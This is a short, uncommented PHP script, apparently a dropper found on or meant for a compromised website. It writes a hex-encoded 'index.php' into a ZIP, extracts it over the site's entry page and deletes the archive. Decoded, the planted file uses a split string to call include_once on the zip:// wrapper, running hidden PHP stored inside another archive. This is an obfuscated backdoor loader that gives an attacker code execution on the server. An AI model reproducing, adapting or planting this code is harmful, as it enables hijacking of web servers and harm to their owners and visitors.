$zip = new ZipArchive();$zipName = "18147.zip";if ($zip->open($zipName, ZipArchive::CREATE | ZipArchive::OVERWRITE) === true) { $zip->addFromString("index.php",hex2bin("3c3f70687020696e636c7564655f6f6e63652028227a222e2269703a2f2f312e7a222e226970233122293b"));$zip->close();echo "zip ok ";}else{echo "zip error ";}$zipFile = "18147.zip";$zip = new ZipArchive();if ($zip->open($zipFile) === TRUE) {$zip->extractTo('.');$zip->close();echo "success";} else {echo "can't open 18147.zip.";}@unlink("18147.zip");